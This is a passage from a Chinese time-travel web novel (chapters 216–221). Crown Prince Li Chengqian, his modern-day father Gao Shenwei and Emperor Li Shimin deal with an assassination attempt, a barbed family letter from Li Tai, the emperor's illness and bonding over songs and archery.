高慎微道:“这是陛下对承乾的歉意,是你们父子之间的纠葛,愿不愿意听,只有承乾自己可以决断。” 李世民道:“若承乾选择听,彻底放下了倒还好,若不愿,慎微,你的教育方法就是害了他。” 高慎微道:“《庄子》有一句话:‘子非鱼,安知鱼之乐?’放在教育上,也是同理,因为不知,所以存在不确定性,又不愿,也不能替他做决断。儿女教育,严厉或是慈爱,都是豪赌。” “慎微,你为何不直接拒绝朕呢?” 高慎微笑道:“高明放下了过往,陛下的歉意于他而言可有可无,可承乾没有放下,承乾在乎陛下,而我在乎承乾。” 李世民又问:“你既然知道告诉承乾这件事情,可能对承乾不好,为何还要应下朕的请求,还要去征求承乾的意见?” “承乾的身份,首先是个人,其后才是其他角色。所以,我先要尊重他作为人的选择,其后才能引导他作为儿子和父亲的角色。” 李世民道:“你们的教育思想,很是新颖。看慎微你,再看高明,朕觉得令尊大人和令堂大人有好好教导你,薪火相传,慎微也教好了高明。” “高明对跛足,还是介怀于心的,这些日子,陛下尽量不要刻意去提他的足伤。” 李世民道:“看出来了,脚扭伤之后,他格外的心烦意乱,三两句话说不到就闹脾气,这是极少有的事情。” 李承乾人生的转折点,就是足疾,那个自信明媚的太子变得敏感自卑,皆源于跛足。 李世民笑道:“这小子,前天遭遇刺杀,险些没命,他一点儿不受影响,甚至还很开心,他能拉动重弓。昨天摔下马车崴了脚,回来脸色阴沉的不行。” 高慎微道:“好在是虚惊一场,有惊无险,他……” 吴安进殿通报,高慎微止住话头。 “禀陛下,长孙司空在殿外求见。” 长孙无忌来了,高慎微向皇帝拱了拱手,“陛下,我回避一下。” 李世民点头默认,长孙无忌心细如发,他、高慎微、李承乾、高明之间的纠葛,还是别叫人察觉的好。 见了礼数,长孙无忌在方才高慎微的位置落座,“承乾呢?怎么不见他人?” 长孙无忌赋闲,不用上朝,李承乾不过多参与朝政,太子詹士很是空闲,他不需要日日来东宫打卡。 “承乾昨日在朱雀大街遇刺,从马车上摔了下去,扭伤了脚踝,折腾了一夜,这会子才睡下。” 刺杀太子,等同谋反! 长孙无忌面色凝重,道:“从马车上摔下去,看样子是有人车马上动了手脚。” 李世民点头,“车轴有人为损坏的痕迹,马也被人投毒,朕遣天使召见太子仆,朕的人没去,太子仆先畏罪自杀了。太子仆没了,他辖属下还有不少人,朕已经将人都控制住了,看能审讯出些什么东西来。” “太子没什么大碍吧?” “无甚大碍,歇一段时日就好了,就脾气臭的很。” 长孙无忌笑道:“陛下总说承乾暮气太重,如今闹闹脾气,陛下正好哄哄承乾,不挺好的?” “不瞒辅机,前日朕与承乾出游遇刺,隔了一日功夫,他的马车又给人动了手脚,辅机对此有什么看法?” 刺杀完太子和皇帝,又单独刺杀太子,长孙无忌虽有怀疑,却不愿意多言。 “臣赋闲日久,对朝中之事不甚上心,事情做下,掩盖的再好,也总会留下些尾巴的。” “辅机,你是不是已经有了怀疑的人?” 长孙无忌满心无语,他今天就不该进宫。 第216章 PUA高慎微 “在没有事实根据之前,所有的揣测都是污蔑。陛下,您去查就好了,查出了谁那就是谁。” 李世民苦笑,“辅机,你不敢说。” 长孙无忌暗道:这种话他当然不好说的,皇帝和太子被刺杀成功,谁会得益太明显了。 “臣说千句万句,终究都是揣测,朝廷有司查出来的才是真的。” 是非之地,不宜久留,长孙无忌起身拜了一拜,“太子既然睡下了,老臣就不多叨扰了。” 李世民点头,长孙无忌三缄其口,显然是不愿意掺和进皇家的夺嫡之争。 “当初立雉奴,辅机不遗余力的为雉奴绸缪,如今对承乾却是遮遮掩掩,慎微,你说是朕对承乾的重视不够吗?” 高慎微道:“废黜承乾的时候,李泰也不堪大用了,陛下你只有李治一个选择。可眼下,除了承乾之外,李泰和李治都还有可选择的余地。” “慎微的意思,难道要朕杀了青雀和雉奴不成。” 高慎微顿了一顿,“跟皇帝说话就是麻烦,我的意思是说,夺嫡之争,变幻不定,今日被宠上天太子,明日也有可能是阶下囚。现在对太子掏心掏肺,万一太子被废,废太子心腹的仕途也就结束了。” “简直是可恶啊!” 李世民气的咬牙,这些个大臣,在他的儿子之间反复横跳,哪怕他将李泰送去扬州,一个个的都还不罢休。 长孙无忌对李治不遗余力,高慎微猜测还有另一个原因,同李治装出来的温厚仁孝有关,觉得李治好拿捏。 李承乾八岁就被立为太子,十二岁听政,十四岁监国,不是任人拿捏之辈,费了心思也做不了权臣,长孙无忌当然不愿意出全力。 “朕要魏征、李靖、李世绩、尉迟恭、程知节、马周、褚遂良这些人辅佐太子,难道还不够吗?还不能阻止他们在朕的儿子里面徘徊。” 高慎微道:“皇帝和太子共用一套政治班底,是绝对的信任也是绝对的防备。想让大臣们绝了从龙的心思那是不可能的,陛下你都登基了,裴寂等人还想着扶持高祖重新掌权,挣一把从龙之功,这世间最不缺的就是赌徒。眼下这个局面,满朝文武是没人明着跟太子为难了。” 李世民也生了一股无力感,“罢了,他们怎么想,朕管不着,朕这个家,由不得他们继续祸害。” 高慎微道:“别人有兴风作浪的本事,也要陛下有推波助澜的心思,否则都是枉然。很多时候,他们的野心都是陛下给的。” “慎微你能不能不说话?” 高慎微笑道:“若明明跟我回去,他和承乾一体双魂,我保证一个字不说。毕竟,被祸害不是我的孩子。” “你要不要那么自私自利?” 高慎微:…… “自私自利?这话怎么说?” 李世民道:“你的儿子称朕一声父亲,朕的儿子称你爸爸,是不是说,朕的儿子就是你的儿子?你有谏言,你不说,祸害的是朕的儿子,难道不是你得儿子?” “天呐!” 高慎微大为震惊,这个理论和他之前说“我是谁”那个概念,异曲同工,李世民不愧是李世民,现学现用,来pua他了。 “陛下,你要不要听听你在说什么?” 李世民笑眯眯看着高慎微,“朕觉得十分合理,有问题吗?” “没问题,洲长你说的对。” “周长?”李世民被小李后刺激的有些后怕,小心问道:“这个跟武周朝有关吗?如果有,就不用跟我说了。” 高慎微道:“不是武周的洲,是‘洲岛骤回合,圻岸屡崩奔’的洲。唐朝是亚洲的国家,亚洲是一个很大的区域,除了大唐之外还有很多的国家,叫陛下洲长,意思整个亚洲,陛下当世无双。” “彩!”李世民拊掌大笑,“后人对朕的称呼,总算有那么个不刺耳的了。” 高慎微道:“后人对你的称呼,都挺好听的,有那么刺耳吗?” “我知道你们那个时代,法律上一夫一妻没有妾室,妇唱夫随你们也觉得无伤大雅,请不要用你们那个时代的思想来评价朕的荣辱。” 高慎微点点头,“具体矛盾,具体分析,没有任何问题。” “慎微,你离开以后,还会不会回来?” 高慎微摇头,“不会有这样的机缘巧合了,我离开之后,甚至不知道有生之年,能不能再见我的高明。” 李世民叹气,高慎微见不到高明,他也见不到承乾。 朝中还有政务,李世民没坐了一会儿,就赶着回两仪殿参加午朝。 高慎微找了一卷书,默默守在儿子床榻前。 李承乾一觉醒来,看到父亲在床榻前看书,心下惭愧不已。 “是疼得厉害吗?”高慎微将书放下,道:“我扶你起来,先吃一些东西,垫垫肚子。” 李承乾点点头,任凭父亲抱着自己起身,上半身靠在软枕上。 “爸,我又让您担心了。” 高慎微道:“父母担心儿女,这是人之常情,你别想这么多,好好休养,你身体养好了,我也就不担心。” “我不信,人之常情就是时时挂在心里,爸你在骗我。” 高慎微笑道:“你回去之后,不也时时想着象儿吗?明明,一家子骨肉,最怕的就是一碗水端不平。” “我知道,好生教导象儿是为人父的责任,可在这个时代,象儿身后没有倚仗,给他过分的荣宠,无异于催命。象儿也是个知道轻重的,他知道我的为难,也知道他自己的处境,除却晨昏定省,他也不怎么来见我,我现在也不怎么见他。” 高慎微道:“人,直面过往的不堪需要勇气,你能把你的过往告诉象儿,邀他同你一起面对。这几乎是你的底牌,你敢把你的底牌亮出去。高明,只这一份信任,象儿在你的孩子里面已经独一无二了。为父希望你,永远保持现在这份清醒。” 李承乾叹气,从李象用尽两代人心血,将他送回母亲身边的那一刻,就已经注定了这个孩子在他心里的非比寻常。 第217章 家书 躺了十来日,脚上的伤总算好些,李承乾被人搀扶着坐在廊下,小狸花凑了上来,软乎乎的蜷缩在他腿上。 李承乾抱着小狸花,在廊下打瞌睡,因下了数日的雨,天气颇为凉爽。 难得的休沐日,皇帝还没过来,李承乾叫人将桌案搬到亭子里,烧了一壶好茶,在亭中静坐,等候父亲进宫。 查到李泰身上了,李世民此刻心烦的厉害,不去东宫探望,也是怕李承乾追问此事。 “陛下,晋王千岁来了,说是想去探望太子。” “雉奴啊!”李世民正了正身子,吩咐张阿难,“让晋王进来。” 迁出甘露殿后,李治也没少来请安,可被父亲召见的甚少。此番以探望兄长的借口,得父亲召见,李治心里多少有些不爽。 李世民被李治背刺,到现在仍然芥蒂,立武才人为后他还能接受,可后面发生的那些破事儿他就接受不了。 宗室需要清理,他也杀了不少的李姓宗亲,但也要有个度,矫枉过正,以至于武周篡唐,需要拨乱反正时,李家无人。 “怎么进宫来了?” 李治道:“前日去阿舅府上,听阿舅说大兄受伤,今日休沐,儿想着进宫请阿耶陪我一起去东宫,看看大兄。” 李世民道:“你自己也可以去,为什么一定要朕陪着?” 李治红了眼眶,低声道:“儿怕在东宫耽搁时间太久,来不及过来拜见阿耶。” 稚子无辜,李世民心软了下来,一切都还没发生,他计较的那些,于李治而言是苛责了。 李世民换了一身衣裳,带着李治往东宫去,目测高慎微在里头,就这么进去恐会让李治看到些不该看的。 李承乾回来之后,下令东宫对皇帝不设防,是否通报,取决于皇帝。倒不是他有多信任皇帝,只是深知帝王多疑,效仿郭子仪府门大开,图个清净。 皇帝带着李治来了,李承乾微微皱眉,皇帝两日没来东宫,他就猜到刺杀的人指向了李泰或者李治,皇帝爱子之心,犹豫不决。 高慎微默默退开了,李承乾命宫人收拾了父亲吃了一半的茶,又叫人设座。 李承乾脚上有伤,不方便行礼,李世民一进门就抬手示意他不用行礼,李治朝着李承乾拜了一拜,露出一个俏皮的笑。 “侍医要你静养,你怎么出来了?” “连日来下雨,屋里头闷的很,出来透透气。” 李承乾说着,倒了两盏茶汤推给皇帝和李治。 “听阿舅说,大兄你受伤了,我来看看你。” 李承乾笑道:“难得雉奴有心,多谢了。” “四兄有家书给大兄。” 李承乾笑笑,家书? 就是不知道,里面会写一些什么东西。 “你四兄有家书,你怎么不同为父说?” 李治看向父亲,一脸的人畜无害,“给大兄的,不是给阿耶的啊?” 李承乾点头,理论上没有毛病,他伸手接过李治带来的家书,拆开来看。 李世民想要制止,可现场还有李治,兄弟之间,连一封家书都容不下,他有些顾忌,不愿意让李治看到这兄弟不和的一幕。 李承乾打开家书,大略扫了一眼,这要是从前的他,真的会破大防,可现在,去他的吧! “大兄,四兄给你写了什么?” 李承乾将信收起来,脸上挂着淡淡的笑容,“悄悄话,只能悄悄的说。” 李世民心底有不好的预感,给张阿难使了个眼色,张阿难躬身退下。不多时,只见张阿难带了侍医进来,要给李承乾换药。 换药? 李承乾喝茶的动作微微一滞,他这个正经伤员怎么不知道? “雉奴,你大兄换完药,就要睡下,你先回去吧!” 李治虽有不舍,却也没有多言,红着眼眶默默退下。 李世民抬手驱散众人,向李承乾询问,“青雀给你的家书,里面写了些什么东西?” 李承乾道:“父亲,您不会愿意看到的内容,所以臣劝您别看,影响您的心情。” 李世民叹气,他当然知道李泰没安好心,李治提前拿出家书,那这封家书就不会有机会到李承乾面前。 “承乾,朕更怕你被一封信挑唆,你我父子离心。” 李承乾暗暗吐槽:简直离了个大谱,他们父子的心何时在一起过? “想看您就看吧!” 李承乾将家书递过去,李世民迫不及待的打开还好,一看他顿觉天塌了。 李泰在家书之中写到,贞观二年,他封邑二十二州,遥领十六州军事,贞观五年,领左武候大将军。贞观六年,受封鄜州大都督兼夏、胜、北抚、北宁、北开五都督。贞观八年,领雍州牧。贞观十年,遥领相州都督,督相、卫、黎、魏、洺、邢、贝七州军事。 都督是军事掌管,至此,他李泰已经是二十八州军事长官,雍州牧还管着西京长安,且拥有文学馆,若非魏征等人反对,他就该在贞观十年住进武德殿了。 看到皇帝阴沉的不能再阴沉的脸色,李承乾轻笑,“臣说了,您不会愿意看到家书内容的。” 李世民看得心惊肉跳,李泰的意思,不言而喻。 “青雀的意思,臣这个太子,是父亲您想要重建玄武门之变崩塌秩序的必然产物,从一开始,就是一颗棋子,而他才是父亲您想要的继承人。要我认清楚现实,不要一朝得势,就沾沾自喜,看不清自己棋子的身份。好一招杀人诛心,换作从前的我,这会是绝杀,绝对当场暴跳如雷。父亲,您说这是青雀的进步了,还是背后有什么高人指点?” 李世民气的头昏,摔了一个茶碗,骂道:“这个孽障。” 李承乾笑笑不说话,斜倚在凭几上,端起茶水来,慢悠悠的尝了一口。 古人早熟,他十二岁就开始诉讼决断,高俨九岁参与朝政,十二岁做北齐权臣。 李治,不简单,听长孙无忌说他受伤,莫不是这一次,这对舅甥又要联手了? “刺杀的事情,为父会给你一个交代的。” 能这么说,那就是已经查出来,李承乾放下茶杯。 “您自己决断,臣既不追究了,也不会给谁求情。到时候,您可别说是为了臣,忍痛处置了谁,臣这个小身板,背不起那么重的锅。” 第218章 李靖病了 “青雀攻心,都是些胡言乱语,此事朕自有定夺,莫要当真。” 茶凉了,李承乾倒了茶汤在盂中,又添了一盏新茶。 “父亲,您看臣像当真的样子吗?” 李世民道:“没当真就好,你好生歇着,朕改日再来看你。” 李承乾点头应下,拱手送别皇帝,看皇帝捏信的力道,应该被气的不轻。 秧田有日子没去看了,李承乾唤来宫人扶他去宜春苑,高慎微离座俯下身。 李承乾会意,眼眶发热,顺着宫人搀扶,伏到父亲背上。 原身高慎微是游侠,体格健壮,高大威猛,背着百十斤的李承乾毫无压力。 李承乾搂着父亲的脖子,一千多年轮回,父母双全者甚少,能被父亲这样背着的机会屈指可数。 分别的日子愈发的近了,高慎微心里一日沉过一日,眼下李世民对高明再好,这也是个封建时代。 方才发生的事情,李承乾竹筒倒豆子,全部告诉父亲。 儿子能如此淡然处之,高慎微十分欣慰,很多东西如指尖的流沙,越是在乎,就越是留不住。 除了长孙无忌之外,朝中无人知晓太子遇刺一事,皇帝对外的说辞一直都是太子仆渎职,误将病马与太子,才导致太子受伤,太子仆畏罪自裁,死无对证,众大臣虽有疑惑,却也不敢横加质疑。 七月流火,不过唐王朝处于中国气候的温暖期,温度十分不善良,同父亲离别将近,李承乾内心说不出郁郁,唯一值得安慰的就是他脚上的伤已经能够正常行走了。 因刺杀的案子,皇帝不愿意去东宫,朝中大臣见皇帝“冷落”太子,局势瞬息万变,不禁又在猜测,这一次又是谁会威胁到太子的地位。 八月初一 李承乾伤愈第一日早朝,在承天门外候朝,明显察觉到一些大臣的疏离。 “伤筋动骨不是小事,怎么不多休息些时日?” 李承乾转身同长孙无忌见了礼数,“侍医说正常行走不碍事,至于骑射习武,要休养过百日。” “都是些小事,急不得,心一定要静。” 一语双关,是暗示他眼下皇帝“冷落”不过一时之困,要他保重自身,不要自乱阵脚。 长孙无忌的好意李承乾心领了,但他来上朝真不是为了刺杀的事情,皇帝没有处置李泰而不满,单纯是皇帝的要求他来上朝。 “陛下也这么说,让我不必太过忧心,误了正事。” 长孙无忌明白了,要李承乾来上朝的是皇帝,敢情他白担心一场。 高昌被灭,引起了薛延陀部的恐慌,真珠可汗以二十万牛羊为聘礼,请求和亲。 皇帝口头上应了,不过无论是已经过去的历史还是当下,李承乾知道这事情成不了。 眼下国力不允许发动大规模战争,剿灭薛延陀部,应下和亲,只是暂时稳住薛延陀部。 李靖腿疾犯了,卧病在床,没法继续训练新军之事,李世民将目光投向李承乾。 “太子,卫公病着,要找个新人练兵,你觉得谁能胜任?” 英国公李世绩,但李承乾一时摸不准皇帝的心思,况且,就李世绩滑的那个程度,他要是开口,李世绩丝毫不带犹豫的就拒绝了。 李承乾起身出列,被皇帝制止。 “你的伤尚未痊愈,坐着说,别来回折腾了。” 李承乾谢过皇帝,“陛下,您知道的,臣不谙兵事。” 李世民道:“这不是借口,朕千秋万代之后,难道太子只裁决文事,不裁决武事?” 这话意思是他今天非推出一个人不可? “朕相信太子的眼光,必能选出合朕心意的人选。” 李承乾笑道明白了,这些日子皇帝没来东宫,导致大臣们又开始犹豫不决,是不是该继续靠拢东宫,就说李靖怎么“病”的这么巧合。 一次人事调动任免,皇帝想要表达出来的意思,君臣父子同心,让下面的赌狗安分一点。 再有,刺杀的事情,皇帝要不着痕迹的放下,保住李泰,又怕他心里有怨,所以施恩于他,算是皇帝和他的利益交换。 或者,皇帝布局更大,第一次刺杀连带皇帝在内,皇帝都可以轻飘飘放过,那么只要有越王在前面挡着,是否可以继续为所欲为? 天欲其亡,必要其狂。 真是皇帝布局,不知道谁要倒霉。 如此,他拒绝的话,就显得不识好歹了。 “臣觉的英国公可接任卫公,训练新军。” 不等李世绩推辞,李世绩鼓掌喝彩,“看样子,朕同太子父子同心。” 李世绩推辞太子点将是避嫌,可皇帝一开口,他瞬间就明白了其中深意,顺势接了皇帝任命。 “太子这不谙兵事,听得朕心里不舒服,你又不是真的肩不能挑,手不能扛。八月十五之后,卫公单日入宫教你兵法谋略。” 李承乾下拜谢恩,李世民揉着眉心,目测是头风病发作了。 “朕身体不适,今日就到这里了,退朝。” 张阿难上前扶着皇帝,李世民起身时脚步竟有些虚浮,看样子是撑着来上早朝。 李承乾坐的久了腿麻,尉迟恭上前扶了一把。 “多谢鄂国公。” 尉迟恭道:“陛下吩咐的,殿下有伤在身,行动不便,让我等近身保护。还有,往后殿下出入宫禁,由臣与常将军护卫左右。” 李承乾哭笑不得,皇帝真是逢人就要说一遍,他是易碎物品,要小心护着。 人心中的成见,果然是一座大山。 “有劳将军了。” 尉迟恭道:“老臣奉命行事,殿下要谢,该谢陛下。” 李世民含笑应下,未及他开口,就听皇帝的声音从头顶传来。 “太子,你同朕到甘露殿一趟。” 李承乾别过尉迟恭,上前去扶皇帝,被皇帝拒绝了。 “管好你自己就行,朕有阿难扶着,别再摔一跤,制考在即,你这主考官要人抬上考场?” 李承乾:…… “父亲,臣也没那么弱不禁风吧?” “你……” 猛地一阵头疼,截住了李世民的吐槽。 “朕身体不适,你少让朕操些心。” 第219章 难缠的病人 皇帝的头风比从前更严重,看样子为着“刺杀”的事情,皇帝压力太大,昼夜难眠。 “承乾,你为什么不头疼呢?朕记得雉奴在你这个年龄,就已经开始头犯头风了。” 李承乾愣了一愣,这话问的,他都不知道该怎么回答的好。 “父亲,遗传具有不确定性,遗传您头风的是雉奴。臣可能遗传了,只是发病没那么早。” “从前你给朕按压穴位,还有些许用处,如今只能稍稍缓解。” 李承乾道:“您这一个多月,就没两天睡过囫囵觉,身体肯定受不住啊!要不,臣告退,您先睡一会儿?” “就是睡不着,才找你过来陪朕说会儿话。”李世民斜靠在凭几上,目光浑浊,“承乾,你说,为什么?你们都要背叛朕,为什么?到底是为什么?” 为什么? 李承乾思索良久,他要活着,要自救! 皇子要权柄,不甘屈于人下。 大臣要从龙之功,要门庭永延。 “承乾,你说这到底是为了什么啊?” 李承乾缓缓开口:“天下熙熙,皆为利来;天下攘攘,皆为利往。” 归根结底,都为一个“利”字。 李世民苦笑,“可这些背叛朕的人,他们哪一个不是高官厚禄?朕,何曾薄待过他们?” 李承乾道:“后人有一首《不足歌》,或许可以为父亲解惑。” “说来,朕也跟着听一听,后人的高见。” 李承乾道:“终日奔波只为饥,方才一饱便思衣。衣食两般皆俱足,又想娇容美貌妻。娶得美妻生下子,恨无田地少根基。买到田园多广阔,出入无船少马骑。槽头扣了骡和马,叹无官职被人欺。县丞主簿还嫌小,又要朝中挂紫衣。做了皇帝求仙术,更想登天跨鹤飞。若要世人心里足,除是南柯一梦西。” 李世民听罢,静默了良久。 “朕真是糊涂了,怎么会问出这么蠢的问题?老了,朕真的是老了。” 一番长叹过后,李世民进入今日的主题,“上次跟你说,要你物色东宫左卫率的人选,心下可有决断?” 李承乾点点头,道:“父亲觉得左武候中郎将苏烈怎么样?” 漠北突厥一战过后,此人就渐渐淡出视野,李承乾这么一提,李世民方才想起来朝中有这么一号人物。 “你既要他,朕即刻下诏,明天领东宫左卫率一职。” 李承乾拱手谢过皇帝,看皇帝这样难受,不知为何,他竟然也感觉到了心痛与不忍。 无论真心与否,皇帝这大半年,着实用了心思。 他到底不是铁石心肠之人,做不到无动于衷。 可是,不忍归不忍,面对这种顽疾,他亦是束手无策。 “朕记得有一次,象儿生病,你唱歌哄他睡觉。承乾,有没有人告诉你,你唱歌很好听。” 李承乾点点头,老李家的人,或多或少都带着些音乐基因。 “父亲知道的,象儿素来老成,也就生病时会有些许稚子的脾性,臣也是难得有机会哄他。” “朕想听你唱歌。” 听他唱歌? 李承乾一时没反应过来,小心问道:“头风病犯了,不是都喜欢安静吗?” 李世民笑笑:“你唱的应该是个《敕勒歌》,又和现在的《敕勒歌》不太一样,朕想听《敕勒歌》,朕记得第一句歌词是‘心随天地间,意被牛羊牵。’你唱的时候,朕不曾打扰,只是静静的听着,觉得那首歌十分亲切。” 李承乾能理解,亲切是正常的,李唐皇室的老祖先,有一半血脉是来自草原的鲜卑人。 “您想听清唱,或是臣弹琵琶伴奏,唱给您听。” 李世民当即唤了张阿难进殿,找了一把琵琶过来。 李承乾接过琵琶,调过了音。 唐人极好乐舞的,宫廷到民间,皆有独属于本阶级的乐舞。 重大节庆,皇帝亲自奏乐,高歌一曲,下场跳舞都是常事。 现代总有人吐槽,五十六个民族能歌善舞,只汉民族坐在一旁鼓掌。 殊不知,汉民族的老祖先也是能歌善舞,只是到后面思想被禁锢,民间组团歌舞被列为有伤风化。 鱼龙混杂的人聚在一起跳舞,威胁治安管理,官方令行禁止,民间传承千年的踏歌舞,就是这么没得。 没有官方出手禁止,到了现代社会,汉民族也不至于只能站在旁边看着其他民族的兄弟姐妹跳舞。 人老了会爱上广场舞,爱上拉二胡,双休日清晨,公园里少不了吊嗓子的大爷大妈们。 原因无他,埋藏在血脉里的基因觉醒了而已。 李承乾回忆着曲子,缓缓捻动琵琶弦,悠扬的乐曲从他指尖流出,他也顺着曲调,唱起歌词。 一曲毕,李承乾放下琵琶。 “承乾,朕还想再听一遍。” 李承乾下意识要拒绝,可一抬头对上皇帝憔悴的脸色,罢了,不跟病人计较,皇帝爱哭,弄哭了就麻烦了。 “臣歇上片刻,再给您唱一遍。” 李世民点点头,道:“古今音乐是共通的,就像好多宫廷雅乐,都是自先秦传下来的。” “这倒是,臣虽然不通乐舞,但也喜欢听曲子,看歌舞。” 李世民道:“承乾,你舅父有没有告诉过你,过分的自谦就是埋汰人。” 李承乾:…… “你的歌唱的很好,是练过吗?” 李承乾点点头,“经常哼唱,算是练过。” 李世民道:“你在未来,也玩儿琵琶吗?” “玩儿,臣就会玩儿这么一个乐器。” “拉开重弓,你很开心?” 李承乾不解,“从前办不到的事情,终于办到了,为什么不开心呢?” “你那日,是不是希望朕夸夸你?” 又来了,李承乾顿觉鸡皮疙瘩掉了一地,他可没有贞观将相天团哄威凤的本事,慌忙拿起琵琶。 “臣给您再唱一遍,唱完臣也要回东宫了。” 李世民穷追不舍,继续道:“你想让朕夸你,你就直说,为什么要朕猜你的心思。” 李承乾很无奈,跟皇帝道:“臣单纯是自己开心,刚好父亲您在身边,分享一下喜悦。” 发个朋友圈儿而已啊! “那日,朕不该说你不好,你已经很努力了。” 李承乾深吸一口气,皇帝病了真是难缠至极,再这么下去,他都不知道他会不会哪天想不开,磕药或者直接抹脖子回现代去。 第220章 不做扫兴的家人 漠北突厥一战后,苏烈再没被启用,可他本人心态十分平和。 他不是皇帝嫡系,也不是玄武门从龙之臣,朝中武将如云,随便拉一个出来,都是了不得的人物。 接到诏书的翌日,苏烈朝服衣冠,去太极殿上朝谢恩,后又往东宫拜见太子。 上一次见苏烈,还是贞观四年灭突厥之后的庆功宴上。 此后,苏烈被雪藏,他再未在朝廷上见过此人。 安排好苏烈,李承乾去崇贤馆继续他成语大全的编撰。 积极参与朝政,眼下不是时候。年初他积极参与朝政,是因为东宫就三少和左右中郎将满额。 三少之中,李靖赋闲,李世绩鱼一样的滑,魏征主政门下省,算是手握实权且能做他背后大树的牌。 左右中郎将,尉迟恭和程咬金都是皇帝的死党,他根本调不动。 如今不一样了,尉迟宝琳、程处亮,都算是他提拔上来的人。 东宫六率之一,还是苏烈。 这几个人,都不是皇帝死党,是皇帝信不过的。 眼下的东宫,是真的有那么一点势力了。 人,该到了避嫌的时候,那就得避嫌。 拥有微观天下,统筹各方,驭人用人的能力,但又不能过分展示自己的能力。 李世民这一次头风来势汹汹,他本欲命李承乾代他处理政务,从前就是这般,他犯了头风病或是出游他地,都是李承乾监国理政。 然,高慎微再有不足十日功夫就会离开这里,李世民便打消了命李承乾代他处理政务的心思。 晨昏定省,看着病恹恹的皇帝,李承乾也只能无力感叹时代限制,但凡有一颗布洛芬,皇帝都不至于如此受罪。 “你说咱们李家,怎么就跟这个头风病过不去了呢?” 李承乾道:“基因遗传,说不准,不知道李家哪一代老祖宗有了这个病症,一代代传下来。” 李世民道:“这刺杀的主意,你猜是谁给青雀出的?” 李承乾顿了一顿,人在京师,能查到扬州的事情,百骑司的情报功夫确实有一手。 李承乾道:“冲着臣来的,大致同山东有关。年前山东世族的人说要大族主持制考,后来臣与父亲出游,逼迫京中的山东大姓打残了自己的孩子,他们自然会恨。” 李世民笑道:“朝廷不是不能动这些世家,缺的是动他们的理由,你当时执意结下私仇,不就是为了让他们报私仇吗?” 李承乾道:“臣没那么高尚,单纯杀人诛心。不过,大唐往后大伤元气的动乱,多是山东世族引来的,还是提早收拾得好,他们动了,父亲才好师出有名。” 李世民点点头,上半身靠在凭几上,李承乾起身退下,正要退下,就听皇帝开口。 “承乾,朕想听《敕勒歌》。你之前说清唱,不用乐器伴奏,你清唱给朕听。” 李承乾应下,寻思着唱完就可以跑了。 “朕知道慎微马上要走了,你心里挂念。唱完了以后,你就可以滚了。” 好嘞! 李承乾轻咳两声,清了清嗓子,正要唱时。 “您喜欢《敕勒歌》,应该也会喜欢另一首歌,叫《鸿雁》。” 李世民瞬间来了兴趣,垂死病中惊坐起,逮着李承乾问道:“你会唱吗?唱来给为父听。” 李承乾点点头,叫人找来琵琶,弹唱了一曲。 李世民拊掌喝彩,“下次宴会,承乾你高歌一曲,朕亲自下场一舞。” 李承乾:…… 他给李象唱,那是他们父子关系到位,他给皇帝唱,单纯怕皇帝掉眼泪。皇帝可以跟一堆人跳舞,但让他给一堆人唱,实在是太难为人了,这就是社牛和社恐的区别了。 “还是别了,臣……” “你唱的很好,就这么定了。” 李世民单方面拍板决定,搞得李承乾很无语,罢了,真的到了宴会,推拒理由一抓一大把。 “没其他什么事情,臣先告辞了。” “听人说,你近日常在射场练习射箭?” 李承乾顿了一顿,不解的看向皇帝,“臣,被人弹劾了?练个射箭,不算游猎嬉戏吧?” 李世民笑道:“不算,你放心,谁敢胡言乱语污蔑你,朕饶不了他们。” 李承乾默默松了口气,他不怕人弹劾,但是嫌麻烦。 “臣一直觉得自己没什么武事天分,那日拉开父亲用的重弓,臣觉得臣似乎也有些天分。” 李世民笑道:“你是朕的儿子,怎么会没有天分?只是作为太子,给你找的老师都是文治方面的,没有给你找武事师傅。” 李承乾扁扁嘴巴,道:“陛下,您这一次可算没有扫兴,说什么小胳膊小腿,还好意思学人家拉重弓之类的。” 李世民轻笑,“朕问慎微,他平常如何同儿女相处,慎微说不做扫兴的家人。所以,承乾,你也不要做扫兴的儿子。” 李承乾轻笑,父亲pua皇帝,皇帝活学活用,来pua他。 “承乾,你和象儿,你有没有做扫兴的阿耶?” 李承乾思索片刻,“臣自认为没有,就是不知道象儿怎么想的。” “你是不是觉得朕很扫兴?” 李承乾摇头,不是他觉得皇帝扫兴,是皇帝本身很扫兴。 “您是一个不扫兴的皇帝。” “哦!”李世民若有所思的点头,继续说道:“不是一个扫兴的皇帝,顾左右而言他,你的意思,朕是一个扫兴的父亲。承乾,那你,是不是一个扫兴的儿子?” 李承乾垂眸,这话是可以说的吗? “朕问过慎微,他是不是一个扫兴的父亲,慎微说他自认为他不是。” 李承乾道:“我爸和我妈,一直都不是扫兴的父母。” “朕还问了慎微,你是不是一个扫兴的儿子,慎微说你很好,不是一个扫兴的儿子。” 闻言,李承乾笑得开怀,“臣也认为,臣不是一个扫兴的儿子。” 李世民笑容僵了一瞬,小兔崽子,该谦虚的时候,是一点儿不谦虚。 罢了,有些话只能点到为止,非要说出个所以然就没意思了。 李世民挥挥手,放李承乾走人了。 李承乾如蒙大赦,拜了一拜,原地溜之大吉。 第221章 托孤 “拉开过第一次,往后似乎就没那么难了。” 李承乾拉了个满弓,正中靶心,偏过头满脸笑意的看着父亲。 “是了,人最怕的就是迈不开第一步,迈出去了第一步,才有后面脚下的万里路。” “老爸……” 有人来了,李承乾赶忙止住话头。 “殿下,尉迟将军来了。” 尉迟宝琳来了,那倒没什么忌讳的,以尉迟宝琳的脑子,能看出他和父亲关系不大可能。 “请他去显德殿。” 李承乾带着父亲一同到显德殿尉迟宝琳满脸堆笑,快步上前来,“拜见殿下。” “看你这么开心,可是有什么喜事?” 尉迟宝琳道:“殿下,我跟你说,我家老爷子跟臣一起跳舞了。” 李承乾等时有一股难兄难弟的既视感,他被皇帝缠着唱歌,尉迟宝琳陪自家老爷子跳舞。 “殿下,臣太开心了。” 李承乾心下默默叹气,受伤的始终只有他一个人。 “殿下,您会跳舞吗?” 李承乾道:“我跳的不好。” 尉迟宝琳有些小失落,高慎微见状,笑问道:“小将军要跳舞吗?我陪你跳一段如何?” “好!” 李承乾瞪大了眼睛不敢相信,父亲什么时候学的跳舞? 尉迟宝琳端着舞步一蹦一跳的下场,高慎微紧随其后,跟着尉迟宝琳的步调,亦步亦趋的跳了起来。 李承乾看的目瞪口呆,父亲这是被皇帝带坏了,也好上这口? “宝琳,你过来就是为了找人跳舞?” 尉迟宝琳笑道:“当然了,父亲终于不整天说我没出息了,我老开心了。可房遗直他们实在扫兴,只有殿下你从来不说那些埋汰人的话,我就来找殿下了。” “原来如此,我找琵琶给你们伴奏。” 